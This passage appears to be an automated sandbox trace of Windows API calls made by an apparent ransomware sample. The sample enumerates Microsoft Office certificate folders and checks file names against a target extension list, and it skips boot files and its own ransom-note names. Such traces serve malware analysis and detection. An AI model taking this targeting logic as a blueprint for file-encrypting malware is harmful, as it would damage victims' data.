	[0170.834] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0170.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0170.834] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0171.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0171.127] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0171.127] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0171.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0171.127] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0171.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0171.128] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0171.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0171.128] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1
	[0171.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers") returned 86
	[0171.128] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers") returned 1
	[0171.128] lstrlenW (lpString="Servers") returned 7
	[0171.128] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Servers") returned -1
	[0171.129] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0171.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers") returned 86
	[0171.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0171.129] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.129] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1
	[0171.129] lstrlenW (lpString="Management.cer") returned 14
	[0171.129] lstrlenW (lpString=".1cd") returned 4
	[0171.129] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
	[0171.129] lstrlenW (lpString=".3ds") returned 4
	[0171.129] lstrcmpiW (lpString1=".3ds", lpString2=".cer") returned -1
	[0171.129] lstrlenW (lpString=".3fr") returned 4
	[0171.129] lstrcmpiW (lpString1=".3fr", lpString2=".cer") returned -1
	[0171.129] lstrlenW (lpString=".3g2") returned 4
	[0171.129] lstrcmpiW (lpString1=".3g2", lpString2=".cer") returned -1
	[0171.129] lstrlenW (lpString=".3gp") returned 4
	[0171.129] lstrcmpiW (lpString1=".3gp", lpString2=".cer") returned -1
	[0171.129] lstrlenW (lpString=".7z") returned 3
	[0171.129] lstrcmpiW (lpString1=".7z", lpString2="cer") returned -1
	[0171.129] lstrlenW (lpString=".accda") returned 6
	[0171.129] lstrcmpiW (lpString1=".accda", lpString2="nt.cer") returned -1
	[0171.129] lstrlenW (lpString=".accdb") returned 6
	[0171.129] lstrcmpiW (lpString1=".accdb", lpString2="nt.cer") returned -1
	[0171.129] lstrlenW (lpString=".accdc") returned 6
	[0171.129] lstrcmpiW (lpString1=".accdc", lpString2="nt.cer") returned -1
	[0171.129] lstrlenW (lpString=".accde") returned 6
	[0171.130] lstrcmpiW (lpString1=".accde", lpString2="nt.cer") returned -1
	[0171.130] lstrlenW (lpString=".accdt") returned 6
	[0171.130] lstrcmpiW (lpString1=".accdt", lpString2="nt.cer") returned -1
	[0171.130] lstrlenW (lpString=".accdw") returned 6
	[0171.130] lstrcmpiW (lpString1=".accdw", lpString2="nt.cer") returned -1
	[0171.130] lstrlenW (lpString=".adb") returned 4
	[0171.130] lstrcmpiW (lpString1=".adb", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".adp") returned 4
	[0171.130] lstrcmpiW (lpString1=".adp", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ai") returned 3
	[0171.130] lstrcmpiW (lpString1=".ai", lpString2="cer") returned -1
	[0171.130] lstrlenW (lpString=".ai3") returned 4
	[0171.130] lstrcmpiW (lpString1=".ai3", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ai4") returned 4
	[0171.130] lstrcmpiW (lpString1=".ai4", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ai5") returned 4
	[0171.130] lstrcmpiW (lpString1=".ai5", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ai6") returned 4
	[0171.130] lstrcmpiW (lpString1=".ai6", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ai7") returned 4
	[0171.130] lstrcmpiW (lpString1=".ai7", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ai8") returned 4
	[0171.130] lstrcmpiW (lpString1=".ai8", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".anim") returned 5
	[0171.130] lstrcmpiW (lpString1=".anim", lpString2="t.cer") returned -1
	[0171.130] lstrlenW (lpString=".arw") returned 4
	[0171.130] lstrcmpiW (lpString1=".arw", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".as") returned 3
	[0171.130] lstrcmpiW (lpString1=".as", lpString2="cer") returned -1
	[0171.130] lstrlenW (lpString=".asa") returned 4
	[0171.130] lstrcmpiW (lpString1=".asa", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".asc") returned 4
	[0171.130] lstrcmpiW (lpString1=".asc", lpString2=".cer") returned -1
	[0171.130] lstrlenW (lpString=".ascx") returned 5
	[0171.130] lstrcmpiW (lpString1=".ascx", lpString2="t.cer") returned -1
	[0171.131] lstrlenW (lpString=".asm") returned 4
	[0171.131] lstrcmpiW (lpString1=".asm", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".asmx") returned 5
	[0171.131] lstrcmpiW (lpString1=".asmx", lpString2="t.cer") returned -1
	[0171.131] lstrlenW (lpString=".asp") returned 4
	[0171.131] lstrcmpiW (lpString1=".asp", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".aspx") returned 5
	[0171.131] lstrcmpiW (lpString1=".aspx", lpString2="t.cer") returned -1
	[0171.131] lstrlenW (lpString=".asr") returned 4
	[0171.131] lstrcmpiW (lpString1=".asr", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".asx") returned 4
	[0171.131] lstrcmpiW (lpString1=".asx", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".avi") returned 4
	[0171.131] lstrcmpiW (lpString1=".avi", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".avs") returned 4
	[0171.131] lstrcmpiW (lpString1=".avs", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".backup") returned 7
	[0171.131] lstrcmpiW (lpString1=".backup", lpString2="ent.cer") returned -1
	[0171.131] lstrlenW (lpString=".bak") returned 4
	[0171.131] lstrcmpiW (lpString1=".bak", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".bay") returned 4
	[0171.131] lstrcmpiW (lpString1=".bay", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".bd") returned 3
	[0171.131] lstrcmpiW (lpString1=".bd", lpString2="cer") returned -1
	[0171.131] lstrlenW (lpString=".bin") returned 4
	[0171.131] lstrcmpiW (lpString1=".bin", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".bmp") returned 4
	[0171.131] lstrcmpiW (lpString1=".bmp", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".bz2") returned 4
	[0171.131] lstrcmpiW (lpString1=".bz2", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".c") returned 2
	[0171.131] lstrcmpiW (lpString1=".c", lpString2="er") returned -1
	[0171.131] lstrlenW (lpString=".cdr") returned 4
	[0171.131] lstrcmpiW (lpString1=".cdr", lpString2=".cer") returned -1
	[0171.131] lstrlenW (lpString=".cer") returned 4
	[0171.132] lstrcmpiW (lpString1=".cer", lpString2=".cer") returned 0
	[0171.132] lstrlenW (lpString="Management.cer") returned 14
	[0171.132] lstrlenW (lpString=".Z9") returned 3
	[0171.132] lstrcmpiW (lpString1=".Z9", lpString2="cer") returned -1
	[0171.132] lstrlenW (lpString="Management.cer") returned 14
	[0171.132] lstrcmpiW (lpString1="boot.ini", lpString2="Management.cer") returned -1
	[0171.132] lstrcmpiW (lpString1="bootfont.bin", lpString2="Management.cer") returned -1
	[0171.132] lstrcmpiW (lpString1="ntldr", lpString2="Management.cer") returned 1
	[0171.132] lstrcmpiW (lpString1="ntdetect.com", lpString2="Management.cer") returned 1
	[0171.132] lstrcmpiW (lpString1="io.sys", lpString2="Management.cer") returned -1
	[0171.132] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="Management.cer") returned -1
	[0171.132] lstrcmpiW (lpString1="Info.hta", lpString2="Management.cer") returned -1
	[0171.132] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="Management.cer") returned -1
	[0171.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\Management.cer") returned 101
	[0171.132] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 1
	[0171.132] lstrlenW (lpString="RELAY.CER") returned 9
	[0171.132] lstrlenW (lpString=".1cd") returned 4
	[0171.132] lstrcmpiW (lpString1=".1cd", lpString2=".CER") returned -1
	[0171.132] lstrlenW (lpString=".3ds") returned 4
	[0171.132] lstrcmpiW (lpString1=".3ds", lpString2=".CER") returned -1
	[0171.132] lstrlenW (lpString=".3fr") returned 4
	[0171.132] lstrcmpiW (lpString1=".3fr", lpString2=".CER") returned -1
	[0171.132] lstrlenW (lpString=".3g2") returned 4
	[0171.132] lstrcmpiW (lpString1=".3g2", lpString2=".CER") returned -1
	[0171.132] lstrlenW (lpString=".3gp") returned 4
	[0171.132] lstrcmpiW (lpString1=".3gp", lpString2=".CER") returned -1
	[0171.132] lstrlenW (lpString=".7z") returned 3
	[0171.132] lstrcmpiW (lpString1=".7z", lpString2="CER") returned -1
	[0171.132] lstrlenW (lpString=".accda") returned 6
	[0171.132] lstrcmpiW (lpString1=".accda", lpString2="AY.CER") returned -1
	[0171.132] lstrlenW (lpString=".accdb") returned 6
	[0171.133] lstrcmpiW (lpString1=".accdb", lpString2="AY.CER") returned -1
	[0171.133] lstrlenW (lpString=".accdc") returned 6
	[0171.133] lstrcmpiW (lpString1=".accdc", lpString2="AY.CER") returned -1
	[0171.133] lstrlenW (lpString=".accde") returned 6
	[0171.133] lstrcmpiW (lpString1=".accde", lpString2="AY.CER") returned -1
	[0171.133] lstrlenW (lpString=".accdt") returned 6
	[0171.133] lstrcmpiW (lpString1=".accdt", lpString2="AY.CER") returned -1
	[0171.133] lstrlenW (lpString=".accdw") returned 6
	[0171.133] lstrcmpiW (lpString1=".accdw", lpString2="AY.CER") returned -1
	[0171.133] lstrlenW (lpString=".adb") returned 4
	[0171.133] lstrcmpiW (lpString1=".adb", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".adp") returned 4
	[0171.133] lstrcmpiW (lpString1=".adp", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".ai") returned 3
	[0171.133] lstrcmpiW (lpString1=".ai", lpString2="CER") returned -1
	[0171.133] lstrlenW (lpString=".ai3") returned 4
	[0171.133] lstrcmpiW (lpString1=".ai3", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".ai4") returned 4
	[0171.133] lstrcmpiW (lpString1=".ai4", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".ai5") returned 4
	[0171.133] lstrcmpiW (lpString1=".ai5", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".ai6") returned 4
	[0171.133] lstrcmpiW (lpString1=".ai6", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".ai7") returned 4
	[0171.133] lstrcmpiW (lpString1=".ai7", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".ai8") returned 4
	[0171.133] lstrcmpiW (lpString1=".ai8", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".anim") returned 5
	[0171.133] lstrcmpiW (lpString1=".anim", lpString2="Y.CER") returned -1
	[0171.133] lstrlenW (lpString=".arw") returned 4
	[0171.133] lstrcmpiW (lpString1=".arw", lpString2=".CER") returned -1
	[0171.133] lstrlenW (lpString=".as") returned 3
	[0171.133] lstrcmpiW (lpString1=".as", lpString2="CER") returned -1
	[0171.133] lstrlenW (lpString=".asa") returned 4
	[0171.133] lstrcmpiW (lpString1=".asa", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".asc") returned 4
	[0171.134] lstrcmpiW (lpString1=".asc", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".ascx") returned 5
	[0171.134] lstrcmpiW (lpString1=".ascx", lpString2="Y.CER") returned -1
	[0171.134] lstrlenW (lpString=".asm") returned 4
	[0171.134] lstrcmpiW (lpString1=".asm", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".asmx") returned 5
	[0171.134] lstrcmpiW (lpString1=".asmx", lpString2="Y.CER") returned -1
	[0171.134] lstrlenW (lpString=".asp") returned 4
	[0171.134] lstrcmpiW (lpString1=".asp", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".aspx") returned 5
	[0171.134] lstrcmpiW (lpString1=".aspx", lpString2="Y.CER") returned -1
	[0171.134] lstrlenW (lpString=".asr") returned 4
	[0171.134] lstrcmpiW (lpString1=".asr", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".asx") returned 4
	[0171.134] lstrcmpiW (lpString1=".asx", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".avi") returned 4
	[0171.134] lstrcmpiW (lpString1=".avi", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".avs") returned 4
	[0171.134] lstrcmpiW (lpString1=".avs", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".backup") returned 7
	[0171.134] lstrcmpiW (lpString1=".backup", lpString2="LAY.CER") returned -1
	[0171.134] lstrlenW (lpString=".bak") returned 4
	[0171.134] lstrcmpiW (lpString1=".bak", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".bay") returned 4
	[0171.134] lstrcmpiW (lpString1=".bay", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".bd") returned 3
	[0171.134] lstrcmpiW (lpString1=".bd", lpString2="CER") returned -1
	[0171.134] lstrlenW (lpString=".bin") returned 4
	[0171.134] lstrcmpiW (lpString1=".bin", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".bmp") returned 4
	[0171.134] lstrcmpiW (lpString1=".bmp", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".bz2") returned 4
	[0171.134] lstrcmpiW (lpString1=".bz2", lpString2=".CER") returned -1
	[0171.134] lstrlenW (lpString=".c") returned 2
	[0171.135] lstrcmpiW (lpString1=".c", lpString2="ER") returned -1
	[0171.135] lstrlenW (lpString=".cdr") returned 4
	[0171.135] lstrcmpiW (lpString1=".cdr", lpString2=".CER") returned -1
	[0171.135] lstrlenW (lpString=".cer") returned 4
	[0171.135] lstrcmpiW (lpString1=".cer", lpString2=".CER") returned 0
	[0171.135] lstrlenW (lpString="RELAY.CER") returned 9
	[0171.135] lstrlenW (lpString=".Z9") returned 3
	[0171.135] lstrcmpiW (lpString1=".Z9", lpString2="CER") returned -1
	[0171.135] lstrlenW (lpString="RELAY.CER") returned 9
	[0171.135] lstrcmpiW (lpString1="boot.ini", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="bootfont.bin", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="ntldr", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="ntdetect.com", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="io.sys", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="Info.hta", lpString2="RELAY.CER") returned -1
	[0171.135] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="RELAY.CER") returned -1
	[0171.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER") returned 96
	[0171.135] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 0
	[0171.135] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0171.135] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0171.135] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0
	[0171.135] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0171.135] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0171.135] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0171.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign") returned 76
	[0171.136] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign") returned 1
	[0171.136] lstrlenW (lpString="Verisign") returned 8
	[0171.136] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Verisign") returned -1
	[0171.136] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0171.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign") returned 76
	[0171.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0171.136] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0171.136] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1
	[0171.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components") returned 87
	[0171.136] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components") returned 1
	[0171.136] lstrlenW (lpString="Components") returned 10
	[0171.136] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Components") returned -1
	[0171.136] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0171.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components") returned 87
	[0171.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f528
	[0171.137] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.137] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~2.CER")) returned 1
	[0171.137] lstrlenW (lpString="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned 43
	[0171.137] lstrlenW (lpString=".1cd") returned 4
	[0171.137] lstrcmpiW (lpString1=".1cd", lpString2=".cer") returned -1
